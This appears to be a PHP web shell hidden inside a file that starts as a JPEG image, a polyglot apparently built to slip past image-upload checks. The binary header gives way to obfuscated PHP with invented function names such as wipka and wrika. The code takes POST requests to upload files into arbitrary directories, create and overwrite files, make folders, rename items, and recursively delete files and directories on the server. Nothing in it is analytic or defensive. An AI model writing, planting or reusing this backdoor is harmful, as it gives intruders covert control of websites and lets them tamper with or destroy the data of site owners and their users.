����JFIF��x�x�����C� ���C�����"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������?�����N����m?����j����EP��https0)array_pop($normalized); continue; } $normalized[]=$part; } $result='/'.implode('/',$normalized); $real=@realpath($result); if($real)return $real; if(@is_dir($result))return rtrim($result,'/'); $parent=dirname($result); if(@is_dir($parent))return $parent; return getcwd(); } function reaka($path){ $handle=@fopen($path,'rb'); if(!$handle)return ''; $content=''; while(!feof($handle)){ $content.=fread($handle,8192); } fclose($handle); return $content; } function wrika($path,$data){ $handle=@fopen($path,'wb'); if(!$handle)return false; fwrite($handle,$data); fclose($handle); return true; } function wipka($dir){ if(!is_dir($dir))return; $items=scandir($dir); foreach($items as $i){ if($i==='.')continue; if($i==='..')continue; $path=$dir.DIRECTORY_SEPARATOR.$i; if(is_dir($path)){ wipka($path); }else{ @unlink($path); } } @rmdir($dir); } $herka=$lockka?fixka(getka($lockka)??getcwd()):getcwd(); if(!$herka or !is_dir($herka))$herka=getcwd(); if($_SERVER['REQUEST_METHOD']==='POST'){ $doka=$_POST['doka']??''; if($doka==='senda'){ if(isset($_FILES['bloka'])){ $tmp=$_FILES['bloka']['tmp_name']; $namka=basename($_FILES['bloka']['name']); if(is_uploaded_file($tmp)){ move_uploaded_file($tmp,$herka.DIRECTORY_SEPARATOR.$namka); jumpka($herka,'u'); } } } if($doka==='wrapa'){ $namka=basename($_POST['titka']??''); $textka=$_POST['bodka']??''; if($namka){ wrika($herka.DIRECTORY_SEPARATOR.$namka,$textka); jumpka($herka,'c'); } } if($doka==='makka'){ $namka=basename($_POST['titka']??''); if($namka){ @mkdir($herka.DIRECTORY_SEPARATOR.$namka,0755); jumpka($herka,'d'); } } if($doka==='modka'){ $filka=$herka.DIRECTORY_SEPARATOR.basename($_POST['whoka']??''); $textka=$_POST['bodka']??''; if(is_file($filka)){ wrika($filka,$textka); jumpka($herka,'s'); }else{ jumpka($herka,'e'); } } if($doka==='shiftka'){ $oldka=$herka.DIRECTORY_SEPARATOR.basename($_POST['fromka']??''); $newka=$herka.DIRECTORY_SEPARATOR.basename($_POST['intoka']??''); if(file_exists($oldka)){ @rename($oldka,$newka); jumpka($herka,'r'); }else{ jumpka($herka,'e'); } } if($doka==='killka'){ $thingka=$herka.DIRECTORY_SEPARATOR.basename($_POST['whoka']??''); if(is_file($thingka)){ @unlink($thingka); jumpka($herka,'x'); }elseif(is_dir($thingka)){ wipka($thingka); jumpka($herka,'x'); }else{ jumpka($herka,'e'); } } } $msgka=['u'=>'Sendar komplet','c'=>'Dokka kreated','d'=>'Foldar builded','s'=>'Changez saved','r'=>'Namez shifted','x'=>'Itemka wiped','e'=>'Operationz failed']; $blimka=$blikka?($msgka[$blikka]??''):''; $editka=$_GET['opka']??''; ?>